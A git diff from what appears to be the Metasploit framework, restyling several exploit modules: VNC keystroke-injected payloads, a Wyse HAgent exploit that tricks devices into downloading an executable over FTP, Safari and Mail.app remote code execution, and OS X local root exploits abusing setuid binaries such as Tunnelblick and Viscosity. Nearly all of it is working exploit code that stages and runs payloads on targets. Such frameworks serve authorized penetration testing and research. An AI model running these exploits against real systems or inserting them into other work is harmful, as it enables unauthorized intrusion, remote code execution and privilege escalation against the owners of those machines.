if target.name =~ /VBScript CMDStager/ - start_cmd_prompt - print_status("#{rhost}:#{rport} - Typing and executing payload") - execute_cmdstager({ :flavor => :vbs, :linemax => 8100 }) - # Exit the CMD prompt - exec_command('exit') - elsif target.name =~ /Powershell/ - start_cmd_prompt - print_status("#{rhost}:#{rport} - Typing and executing payload") - command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encode_final_payload: true }) - # Execute powershell payload and make sure we exit our CMD prompt - exec_command("#{command} && exit") - elsif target.name =~ /Linux/ - print_status("#{rhost}:#{rport} - Opening 'Run Application'") - # Press the ALT key and hold it for a second - press_key(alt_key) - Rex.select(nil, nil, nil, 1) - # Press F2 to start up "Run application" - press_key(f2_key) - # Release ALT + F2 - release_key(alt_key) - release_key(f2_key) - # Wait a second for "Run application" to start - Rex.select(nil, nil, nil, 1) - # Start a xterm window - print_status("#{rhost}:#{rport} - Opening xterm") - exec_command('xterm') - # Wait a second for "xterm" to start - Rex.select(nil, nil, nil, 1) - # Execute our payload and exit (close) the xterm window - print_status("#{rhost}:#{rport} - Typing and executing payload") - exec_command("nohup #{payload.encoded} &") - exec_command('exit') - end - - print_status("#{rhost}:#{rport} - Waiting for session...") - (datastore['TIME_WAIT']).times do - Rex.sleep(1) - - # Success! session is here! - break if session_created? - end - rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e - fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}") - ensure - disconnect + unless vnc.handshake + fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}") end + + if password.nil? + print_status("#{rhost}:#{rport} - Bypass authentication") + # The following byte is sent in case the VNC server end doesn't require authentication (empty password) + sock.put("\x10") + else + print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server") + if vnc.authenticate(password) + print_status("#{rhost}:#{rport} - Authenticated") + else + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}") + end + end + + # Send shared desktop + unless vnc.send_client_init + fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}") + end + + if target.name =~ /VBScript CMDStager/ + start_cmd_prompt + print_status("#{rhost}:#{rport} - Typing and executing payload") + execute_cmdstager({ flavor: :vbs, linemax: 8100 }) + # Exit the CMD prompt + exec_command('exit') + elsif target.name =~ /Powershell/ + start_cmd_prompt + print_status("#{rhost}:#{rport} - Typing and executing payload") + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encode_final_payload: true }) + # Execute powershell payload and make sure we exit our CMD prompt + exec_command("#{command} && exit") + elsif target.name =~ /Linux/ + print_status("#{rhost}:#{rport} - Opening 'Run Application'") + # Press the ALT key and hold it for a second + press_key(alt_key) + Rex.select(nil, nil, nil, 1) + # Press F2 to start up "Run application" + press_key(f2_key) + # Release ALT + F2 + release_key(alt_key) + release_key(f2_key) + # Wait a second for "Run application" to start + Rex.select(nil, nil, nil, 1) + # Start a xterm window + print_status("#{rhost}:#{rport} - Opening xterm") + exec_command('xterm') + # Wait a second for "xterm" to start + Rex.select(nil, nil, nil, 1) + # Execute our payload and exit (close) the xterm window + print_status("#{rhost}:#{rport} - Typing and executing payload") + exec_command("nohup #{payload.encoded} &") + exec_command('exit') + end + + print_status("#{rhost}:#{rport} - Waiting for session...") + (datastore['TIME_WAIT']).times do + Rex.sleep(1) + + # Success! session is here! + break if session_created? + end + rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e + fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}") + ensure + disconnect end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) exec_command(cmd) end end diff --git a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb index 3ce54cd7f8..4084d1692f 100644 --- a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb +++ b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb @@ -36,14 +36,14 @@ class MetasploitModule < Msf::Exploit::Remote 'Privileged' => true, 'Payload' => { 'Space' => 2048, - 'BadChars' => '', + 'BadChars' => '' }, 'DefaultOptions' => { - 'EXITFUNC' => 'process', + 'EXITFUNC' => 'process' }, 'Targets' => [ - [ 'Windows XPe x86', { 'Platform' => 'win', }], - [ 'Wyse Linux x86', { 'Platform' => 'linux', }], + [ 'Windows XPe x86', { 'Platform' => 'win' }], + [ 'Wyse Linux x86', { 'Platform' => 'linux' }], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2009-07-10', @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to use for the FTP server", 21 ]), + OptPort.new('SRVPORT', [ true, 'The local port to use for the FTP server', 21 ]), Opt::RPORT(80), ] ) @@ -65,34 +65,34 @@ class MetasploitModule < Msf::Exploit::Remote def exploit if (datastore['SRVPORT'].to_i != 21) - print_error("This exploit requires the FTP service to run on port 21") + print_error('This exploit requires the FTP service to run on port 21') return end # Connect to the target service - print_status("Connecting to the target") - connect() + print_status('Connecting to the target') + connect # Start the FTP service - print_status("Starting the FTP server") - start_service() + print_status('Starting the FTP server') + start_service # Create the executable with our payload - print_status("Generating the EXE") + print_status('Generating the EXE') @exe_file = generate_payload_exe if target['Platform'] == 'win' - maldir = "C:\\" # Windows - malfile = Rex::Text.rand_text_alphanumeric(rand(8) + 4) + ".exe" - co = "XP" + maldir = 'C:\\' # Windows + malfile = Rex::Text.rand_text_alphanumeric(rand(4..11)) + '.exe' + co = 'XP' elsif target['Platform'] == 'linux' - maldir = "//tmp//" # Linux - malfile = Rex::Text.rand_text_alphanumeric(rand(8) + 4) + ".bin" - co = "LXS" + maldir = '//tmp//' # Linux + malfile = Rex::Text.rand_text_alphanumeric(rand(4..11)) + '.bin' + co = 'LXS' end @exe_sent = false # Start the HTTP service - print_status("Starting the HTTP service") + print_status('Starting the HTTP service') wdmserver = Rex::Socket::TcpServer.create({ 'Context' => { 'Msf' => framework, @@ -107,19 +107,19 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Starting the HTTP service on port #{wdmserver_port}") fakerapport = Rex::Socket.source_address(rhost) - fakemac = "00" + Rex::Text.rand_text(5).unpack("H*")[0] + fakemac = '00' + Rex::Text.rand_text(5).unpack('H*')[0] mal = "&V54&CI=3|MAC=#{fakemac}|IP=#{rhost}MT=3|HS=#{fakerapport}|PO=#{wdmserver_port}|" # FTP Credentials ftpserver = Rex::Socket.source_address(rhost) - ftpuser = Rex::Text.rand_text_alphanumeric(rand(8) + 1) - ftppass = Rex::Text.rand_text_alphanumeric(rand(8) + 1) + ftpuser = Rex::Text.rand_text_alphanumeric(rand(1..8)) + ftppass = Rex::Text.rand_text_alphanumeric(rand(1..8)) ftpport = 21 ftpsecure = '0' incr = 10 pwn1 = - "&UP0|&SI=1|UR=9" + + '&UP0|&SI=1|UR=9' + "|CO \x0f#{co}\x0f|#{incr}" + # "|LU \x0fRapport is downloading HAgent Upgrade to this terminal\x0f|#{incr+1}" + "|SF \x0f#{malfile}\x0f \x0f#{maldir}#{malfile}\x0f|#{incr + 1}" @@ -132,12 +132,12 @@ class MetasploitModule < Msf::Exploit::Remote # "|SV* \x0fHKEY_LOCAL_MACHINE\\Software\\Rapport\\pwnt\x0f 31337\x0f\x0f REG_DWORD\x0f|#{incr+1}" + # "|DF \x0f#{maldir}#{malfile}\x0f|#{incr+1}" + # FTP Paramaters - "|&FTPS=#{ftpserver}" + "|&FTPU=#{ftpuser}" + "|&FTPP=#{ftppass}" + "|&FTPBw=10240" + "|&FTPST=200" + + "|&FTPS=#{ftpserver}" + "|&FTPU=#{ftpuser}" + "|&FTPP=#{ftppass}" + '|&FTPBw=10240' + '|&FTPST=200' + "|&FTPPortNumber=#{ftpport}" + "|&FTPSecure=#{ftpsecure}" + - "|&M_FTPS=#{ftpserver}" + "|&M_FTPU=#{ftpuser}" + "|&M_FTPP=#{ftppass}" + "|&M_FTPBw=10240" + - "|&M_FTPST=200" + "|&M_FTPPortNumber=#{ftpport}" + "|&M_FTPSecure=#{ftpsecure}" + + "|&M_FTPS=#{ftpserver}" + "|&M_FTPU=#{ftpuser}" + "|&M_FTPP=#{ftppass}" + '|&M_FTPBw=10240' + + '|&M_FTPST=200' + "|&M_FTPPortNumber=#{ftpport}" + "|&M_FTPSecure=#{ftpsecure}" + # No clue - "|&DP=1|&IT=3600|&CID=7|QUB=3|QUT=120|CU=1|" + '|&DP=1|&IT=3600|&CID=7|QUB=3|QUT=120|CU=1|' if target['Platform'] == 'win' pwn = pwn1 + pwn3 @@ -151,18 +151,18 @@ class MetasploitModule < Msf::Exploit::Remote resp = sock.get_once(-1, 10) print_status("Received: #{resp}") - if not resp - print_error("No reply from the target, this may not be a vulnerable system") + if !resp + print_error('No reply from the target, this may not be a vulnerable system') return end - print_status("Waiting on a connection to the HTTP service") + print_status('Waiting on a connection to the HTTP service') begin Timeout.timeout(190) do done = false - while (not done and session = wdmserver.accept) + while (!done and session = wdmserver.accept) req = session.recvfrom(2000)[0] - next if not req + next if !req next if req.empty? print_status("HTTP Request: #{req.split("\n")[0].strip}") @@ -172,19 +172,19 @@ class MetasploitModule < Msf::Exploit::Remote print_status("++ connected (#{session.peerhost}), " + "sending payload (#{pwn.size} bytes)") res = pwn when /V02/ - print_status("++ device sending V02 query...") - res = "&00|Existing Client With No Pending Updates|&IT=10|&CID=7|QUB=3|QUT=120|CU=1|" + print_status('++ device sending V02 query...') + res = '&00|Existing Client With No Pending Updates|&IT=10|&CID=7|QUB=3|QUT=120|CU=1|' done = true when /V55/ - print_status("++ device sending V55 query...") + print_status('++ device sending V55 query...') res = pwn when /POST/ # PUT is used for non encrypted requests. - print_status("++ device sending V55 query...") + print_status('++ device sending V55 query...') res = pwn done = true else - print_status("+++ sending generic response...") + print_status('+++ sending generic response...') res = pwn end @@ -194,25 +194,25 @@ class MetasploitModule < Msf::Exploit::Remote end end rescue ::Timeout::Error - print_status("Timed out waiting on the HTTP request") + print_status('Timed out waiting on the HTTP request') wdmserver.close disconnect return end - print_status("Waiting on the FTP request...") + print_status('Waiting on the FTP request...') stime = Time.now.to_f - while (not @exe_sent) + until (@exe_sent) break if (stime + 90 < Time.now.to_f) select(nil, nil, nil, 0.25) end - if (not @exe_sent) - print_status("No executable sent :(") + if (!@exe_sent) + print_status('No executable sent :(') end - wdmserver.close() + wdmserver.close handler disconnect @@ -221,7 +221,7 @@ class MetasploitModule < Msf::Exploit::Remote def on_client_command_retr(c, arg) print_status("#{@state[c][:name]} FTP download request for #{arg}") conn = establish_data_connection(c) - if (not conn) + if (!conn) c.put("425 Can't build data connection\r\n") return end diff --git a/modules/exploits/osx/afp/loginext.rb b/modules/exploits/osx/afp/loginext.rb index de1e7456ab..b7f9c39e32 100644 --- a/modules/exploits/osx/afp/loginext.rb +++ b/modules/exploits/osx/afp/loginext.rb @@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote 'MinNops' => 128, 'Compat' => { - 'ConnectionType' => "+find" + 'ConnectionType' => '+find' } }, 'Targets' => [ @@ -78,9 +78,9 @@ class MetasploitModule < Msf::Exploit::Remote afp = "\x3f\x00\x00\x00" # Add the authentication methods - ["AFP3.1", "Cleartxt Passwrd"].each { |m| + ['AFP3.1', 'Cleartxt Passwrd'].each do |m| afp << [m.length].pack('C') + m - } + end # Add the user type and afp path afp << "\x03" + [9].pack('n') + rand_text_alphanumeric(9) @@ -95,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Remote 0, # Data Offset afp.length, # Data Length 0 # Reserved - ].pack("CCnNNN") + afp + ].pack('CCnNNN') + afp sock.put(dsi) diff --git a/modules/exploits/osx/arkeia/type77.rb b/modules/exploits/osx/arkeia/type77.rb index 8c844610f1..57d3c1e0cb 100644 --- a/modules/exploits/osx/arkeia/type77.rb +++ b/modules/exploits/osx/arkeia/type77.rb @@ -33,8 +33,8 @@ class MetasploitModule < Msf::Exploit::Remote 'MinNops' => 700, 'Compat' => { - 'ConnectionType' => '-find', - }, + 'ConnectionType' => '-find' + } }, 'Targets' => [ [ @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'Platform' => 'osx', 'Arch' => ARCH_PPC, - 'Ret' => 0xbffff910, + 'Ret' => 0xbffff910 }, ], ], @@ -58,18 +58,18 @@ class MetasploitModule < Msf::Exploit::Remote end def check - info = arkeia_info() + info = arkeia_info if !(info and info['Version']) return Exploit::CheckCode::Safe end - vprint_status("Arkeia Server Information:") - info.each_pair { |k, v| - vprint_status(" #{k + (" " * (30 - k.length))} = #{v}") - } + vprint_status('Arkeia Server Information:') + info.each_pair do |k, v| + vprint_status(" #{k + (' ' * (30 - k.length))} = #{v}") + end if (info['System'] !~ /Darwin/) - vprint_status("This module only supports Mac OS X targets") + vprint_status('This module only supports Mac OS X targets') return Exploit::CheckCode::Detected end @@ -99,7 +99,7 @@ class MetasploitModule < Msf::Exploit::Remote # Huge nop slep followed by the payload buf[112, payload.encoded.length] = payload.encoded - print_status("Sending request...") + print_status('Sending request...') begin sock.put(head) sock.put(buf) diff --git a/modules/exploits/osx/browser/safari_metadata_archive.rb b/modules/exploits/osx/browser/safari_metadata_archive.rb index b97e2331f8..1f89d5dbc5 100644 --- a/modules/exploits/osx/browser/safari_metadata_archive.rb +++ b/modules/exploits/osx/browser/safari_metadata_archive.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby telnet', + 'RequiredCmd' => 'generic perl ruby telnet' } }, 'Targets' => [ @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Automatic', { 'Platform' => [ 'unix' ], - 'Arch' => ARCH_CMD, + 'Arch' => ARCH_CMD }, ], ], @@ -72,15 +72,15 @@ class MetasploitModule < Msf::Exploit::Remote end def check_dependencies - @zip = (Rex::FileUtils::find_full_path('7za') || Rex::FileUtils::find_full_path('7za.exe')) + @zip = (Rex::FileUtils.find_full_path('7za') || Rex::FileUtils.find_full_path('7za.exe')) return if @zip - fail_with(Failure::Unknown, "This exploit requires the zip command to be installed in your path") + fail_with(Failure::Unknown, 'This exploit requires the zip command to be installed in your path') end - def on_request_uri(cli, request) + def on_request_uri(cli, _request) # Re-generate the payload - return if ((p = regenerate_payload(cli)) == nil) + return if ((p = regenerate_payload(cli)).nil?) # Transmit the response to the client send_response(cli, generate_zip(p), { 'Content-Type' => 'application/zip' }) @@ -95,20 +95,20 @@ class MetasploitModule < Msf::Exploit::Remote tdir += '/' + tnam tmov = rand_text_alphanumeric(8) + '.mov' - FileUtils.mkdir(tdir, :mode => 0755) + FileUtils.mkdir(tdir, mode: 0o755) FileUtils.cd(tdir) - fd = File.new(tmov, "w") + fd = File.new(tmov, 'w') fd.write(shellcode.encoded) fd.close - FileUtils.mkdir(tdir + '/__MACOSX', :mode => 0755) - fd = File.new(tdir + '/__MACOSX/._' + tmov, "w") + FileUtils.mkdir(tdir + '/__MACOSX', mode: 0o755) + fd = File.new(tdir + '/__MACOSX/._' + tmov, 'w') fd.write(generate_metadata) fd.close - FileUtils.chmod(0755, tmov) - system(@zip, "a", tdir + '.zip', tmov, '__MACOSX/._' + tmov) + FileUtils.chmod(0o755, tmov) + system(@zip, 'a', tdir + '.zip', tmov, '__MACOSX/._' + tmov) fd = File.new(tdir + '.zip') data = fd.read(fd.stat.size) diff --git a/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb b/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb index 3436f8465d..e9450d591b 100644 --- a/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb +++ b/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote ) ) register_advanced_options([ - OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]), + OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information in the exploit javascript', false]), ]) end @@ -101,30 +101,30 @@ class MetasploitModule < Msf::Exploit::Remote end def stage1_js - stage1 = exploit_data "CVE-2018-4233", "stage1.bin" - "var stage1 = new Uint8Array([#{Rex::Text::to_num(stage1)}]);" + stage1 = exploit_data 'CVE-2018-4233', 'stage1.bin' + "var stage1 = new Uint8Array([#{Rex::Text.to_num(stage1)}]);" end def stage2_js - stage2 = exploit_data "CVE-2018-4404", "stage2.dylib" + stage2 = exploit_data 'CVE-2018-4404', 'stage2.dylib' payload_cmd = payload.raw if target['Arch'] == ARCH_PYTHON payload_cmd = "echo \"#{payload_cmd}\" | python" end placeholder_index = stage2.index('PAYLOAD_CMD_PLACEHOLDER') stage2[placeholder_index, payload_cmd.length] = payload_cmd - "var stage2 = new Uint8Array([#{Rex::Text::to_num(stage2)}]);" + "var stage2 = new Uint8Array([#{Rex::Text.to_num(stage2)}]);" end def get_offsets(user_agent) if user_agent =~ /Intel Mac OS X (.*?)\)/ - osx_version = $1.gsub("_", ".") - if user_agent =~ /Version\/(.*?) / - if Rex::Version.new($1) >= Rex::Version.new('11.1.1') - print_warning "Safari version #{$1} is not vulnerable" + osx_version = ::Regexp.last_match(1).gsub('_', '.') + if user_agent =~ %r{Version/(.*?) } + if Rex::Version.new(::Regexp.last_match(1)) >= Rex::Version.new('11.1.1') + print_warning "Safari version #{::Regexp.last_match(1)} is not vulnerable" return false else - print_good "Safari version #{$1} appears to be vulnerable" + print_good "Safari version #{::Regexp.last_match(1)} appears to be vulnerable" end end mac_osx_version = Rex::Version.new(osx_version) @@ -146,7 +146,7 @@ class MetasploitModule < Msf::Exploit::Remote print_warning "No offsets for version #{mac_osx_version}" end else - print_warning "Unexpected User-Agent" + print_warning 'Unexpected User-Agent' end return false end @@ -160,9 +160,9 @@ class MetasploitModule < Msf::Exploit::Remote return end - utils = exploit_data "javascript_utils", "utils.js" - int64 = exploit_data "javascript_utils", "int64.js" - html = %Q^ + utils = exploit_data 'javascript_utils', 'utils.js' + int64 = exploit_data 'javascript_utils', 'int64.js' + html = %^ <html> <body> <script> diff --git a/modules/exploits/osx/email/mailapp_image_exec.rb b/modules/exploits/osx/email/mailapp_image_exec.rb index 2749f660c3..a0dc211d65 100644 --- a/modules/exploits/osx/email/mailapp_image_exec.rb +++ b/modules/exploits/osx/email/mailapp_image_exec.rb @@ -36,11 +36,11 @@ class MetasploitModule < Msf::Exploit::Remote 'Payload' => { 'Space' => 8192, 'DisableNops' => true, - 'BadChars' => "", + 'BadChars' => '', 'Compat' => { - 'ConnectionType' => '-bind -find', - }, + 'ConnectionType' => '-bind -find' + } }, 'Targets' => [ [ @@ -49,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'PayloadCompat' => { - 'RequiredCmd' => 'generic perl ruby bash-tcp telnet', + 'RequiredCmd' => 'generic perl ruby bash-tcp telnet' } } ], @@ -57,14 +57,14 @@ class MetasploitModule < Msf::Exploit::Remote 'Mail.app - Binary Payloads (x86)', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Mail.app - Binary Payloads (ppc)', { 'Platform' => 'osx', - 'Arch' => ARCH_PPC, + 'Arch' => ARCH_PPC } ], ], @@ -87,17 +87,17 @@ class MetasploitModule < Msf::Exploit::Remote gext = exts[rand(exts.length)] name = rand_text_alpha(5) + ".#{gext}" - data = rand_text_alpha(rand(32) + 1) + rand_text_alpha(rand(1..32)) msg = Rex::MIME::Message.new msg.mime_defaults - msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32) + 1) + msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(1..32)) msg.to = datastore['MAILTO'] msg.from = datastore['MAILFROM'] dbl = Rex::MIME::Message.new - dbl.header.set("Content-Type", "multipart/appledouble;\r\n boundary=#{dbl.bound}") - dbl.header.set("Content-Disposition", "inline") + dbl.header.set('Content-Type', "multipart/appledouble;\r\n boundary=#{dbl.bound}") + dbl.header.set('Content-Disposition', 'inline') # AppleDouble file version 2 # 3 entries - 'Finder Info', 'Real name', 'Resource Fork' @@ -128,11 +128,11 @@ class MetasploitModule < Msf::Exploit::Remote "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" + - "AAAAAQAAAAUIAAAECAAAADIAX9CsEsIAAAAcADIAAHVzcm8AAAAKAAD//wAAAAABDSF8" + "\r\n" + 'AAAAAQAAAAUIAAAECAAAADIAX9CsEsIAAAAcADIAAHVzcm8AAAAKAAD//wAAAAABDSF8' + "\r\n" - fork = Rex::Text.encode_base64(Rex::Text.decode_base64(resfork).gsub("Heise.jpg", name), "\r\n") + fork = Rex::Text.encode_base64(Rex::Text.decode_base64(resfork).gsub('Heise.jpg', name), "\r\n") - cid = "<#{rand_text_alpha(rand(16) + 16)}@#{rand_text_alpha(rand(16) + 1)}.com>" + cid = "<#{rand_text_alpha(rand(16..31))}@#{rand_text_alpha(rand(1..16))}.com>" cmd = '' @@ -143,13 +143,13 @@ class MetasploitModule < Msf::Exploit::Remote cmd = Rex::Text.encode_base64(bin, "\r\n") end - dbl.add_part(fork, "application/applefile;\r\n name=\"#{name}\"", "base64", "inline;\r\n filename=#{name}") + dbl.add_part(fork, "application/applefile;\r\n name=\"#{name}\"", 'base64', "inline;\r\n filename=#{name}") dbl.add_part(cmd, "image/jpeg;\r\n x-mac-type=0;\r\n x-unix-mode=0755;\r\n x-mac-creator=0;\r\n name=\"#{name}\"", "base64\r\nContent-Id: #{cid}", "inline;\r\n filename=#{name}") msg.parts << dbl send_message(msg.to_s) - print_status("Waiting for a payload session (backgrounding)...") + print_status('Waiting for a payload session (backgrounding)...') end end diff --git a/modules/exploits/osx/ftp/webstar_ftp_user.rb b/modules/exploits/osx/ftp/webstar_ftp_user.rb index bd225b079d..25e70f8baf 100644 --- a/modules/exploits/osx/ftp/webstar_ftp_user.rb +++ b/modules/exploits/osx/ftp/webstar_ftp_user.rb @@ -32,8 +32,8 @@ class MetasploitModule < Msf::Exploit::Remote 'BadChars' => "\x00\x20\x0a\x0d", 'Compat' => { - 'ConnectionType' => "+find" - }, + 'ConnectionType' => '+find' + } }, 'Targets' => [ [ @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'Platform' => 'osx', 'Arch' => ARCH_PPC, - 'Rets' => [ 0x9008dce0, 0x90034d60, 0x900ca6d8, 0x90023590 ], + 'Rets' => [ 0x9008dce0, 0x90034d60, 0x900ca6d8, 0x90023590 ] }, ], ], @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - OptString.new('MHOST', [ false, "Our IP address or hostname as the target resolves it" ]), + OptString.new('MHOST', [ false, 'Our IP address or hostname as the target resolves it' ]), ], self ) end diff --git a/modules/exploits/osx/local/feedback_assistant_root.rb b/modules/exploits/osx/local/feedback_assistant_root.rb index ff0b3ed675..0ec5e968d6 100644 --- a/modules/exploits/osx/local/feedback_assistant_root.rb +++ b/modules/exploits/osx/local/feedback_assistant_root.rb @@ -90,7 +90,7 @@ class MetasploitModule < Msf::Exploit::Local case target['Arch'] when ARCH_X64 - payload_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}" + payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) upload_executable_file(payload_file, binary_payload) root_cmd = payload_file @@ -99,16 +99,16 @@ class MetasploitModule < Msf::Exploit::Local else root_cmd = payload.encoded end - root_cmd = root_cmd + " & \0" + root_cmd += " & \0" if root_cmd.length > 1024 fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder" end - exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8565", "exploit")) + exploit_data = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-8565', 'exploit')) placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER') exploit_data[placeholder_index, root_cmd.length] = root_cmd - exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}" + exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" upload_executable_file(exploit_file, exploit_data) print_status("Executing exploit '#{exploit_file}'") diff --git a/modules/exploits/osx/local/nfs_mount_root.rb b/modules/exploits/osx/local/nfs_mount_root.rb index 4be3e537c0..bc25444605 100644 --- a/modules/exploits/osx/local/nfs_mount_root.rb +++ b/modules/exploits/osx/local/nfs_mount_root.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Local end def check - if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8" + if ver_lt(xnu_ver, '1699.32.7') and xnu_ver.strip != '1699.24.8' CheckCode::Appears else CheckCode::Safe @@ -76,8 +76,8 @@ class MetasploitModule < Msf::Exploit::Local file = File.join(osx_path, 'nfs_mount_priv_escalation.bin') exploit = File.read(file) pload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) - tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" - payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" + tmpfile = "/tmp/#{Rex::Text.rand_text_alpha_lower(12)}" + payloadfile = "/tmp/#{Rex::Text.rand_text_alpha_lower(12)}" print_status "Writing temp file as '#{tmpfile}'" write_file(tmpfile, exploit) @@ -87,14 +87,14 @@ class MetasploitModule < Msf::Exploit::Local write_file(payloadfile, pload) register_file_for_cleanup(payloadfile) - print_status "Executing payload..." + print_status 'Executing payload...' cmd_exec("chmod +x #{tmpfile}") cmd_exec("chmod +x #{payloadfile}") cmd_exec("#{tmpfile} #{payloadfile}") end def xnu_ver - m = cmd_exec("uname -a").match(/xnu-([0-9\.~]*)/) + m = cmd_exec('uname -a').match(/xnu-([0-9.~]*)/) m && m[1] end diff --git a/modules/exploits/osx/local/setuid_tunnelblick.rb b/modules/exploits/osx/local/setuid_tunnelblick.rb index 271e6faf56..a89e9be9f1 100644 --- a/modules/exploits/osx/local/setuid_tunnelblick.rb +++ b/modules/exploits/osx/local/setuid_tunnelblick.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Local [ 'Tunnelblick 3.2.8 / Mac OS X x86', { 'Arch' => ARCH_X86 } ], [ 'Tunnelblick 3.2.8 / Mac OS X x64', { 'Arch' => ARCH_X64 } ] ], - 'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 }, + 'DefaultOptions' => { 'PrependSetresuid' => true, 'WfsDelay' => 2 }, 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, @@ -53,8 +53,8 @@ class MetasploitModule < Msf::Exploit::Local ) register_options [ # These are not OptPath because it's a *remote* path - OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), - OptString.new("Tunnelblick", [ true, "Path to setuid openvpnstart executable", "/Applications/Tunnelblick.app/Contents/Resources/openvpnstart" ]) + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + OptString.new('Tunnelblick', [ true, 'Path to setuid openvpnstart executable', '/Applications/Tunnelblick.app/Contents/Resources/openvpnstart' ]) ] end @@ -68,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Local return CheckCode::Safe end - check = cmd_exec("find #{datastore["Tunnelblick"]} -type f -user root -perm -4000") + check = cmd_exec("find #{datastore['Tunnelblick']} -type f -user root -perm -4000") unless check.include? 'openvpnstart' return CheckCode::Safe @@ -95,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Local fail_with Failure::BadConfig, "#{base_dir} is not writable" end - print_status("Creating directory...") + print_status('Creating directory...') cmd_exec "mkdir -p #{base_dir}/openvpn/openvpn-0" exe_name = rand_text_alpha(8) @@ -117,12 +117,12 @@ class MetasploitModule < Msf::Exploit::Local link_name = rand_text_alpha(8) @link = "#{base_dir}/#{link_name}" print_status("Creating symlink #{@link}...") - cmd_exec "ln -s -f -v #{datastore["Tunnelblick"]} #{@link}" + cmd_exec "ln -s -f -v #{datastore['Tunnelblick']} #{@link}" - print_status("Running...") + print_status('Running...') begin cmd_exec "#{@link} OpenVPNInfo 0" - rescue + rescue StandardError print_error("Failed. Cleaning files #{@link} and the #{base_dir}/openvpn directory") clean return diff --git a/modules/exploits/osx/local/setuid_viscosity.rb b/modules/exploits/osx/local/setuid_viscosity.rb index 0c17c3bad6..8dba49e8b1 100644 --- a/modules/exploits/osx/local/setuid_viscosity.rb +++ b/modules/exploits/osx/local/setuid_viscosity.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Local [ 'Viscosity 1.4.1 / Mac OS X x86', { 'Arch' => ARCH_X86 } ], [ 'Viscosity 1.4.1 / Mac OS X x64', { 'Arch' => ARCH_X64 } ] ], - 'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 }, + 'DefaultOptions' => { 'PrependSetresuid' => true, 'WfsDelay' => 2 }, 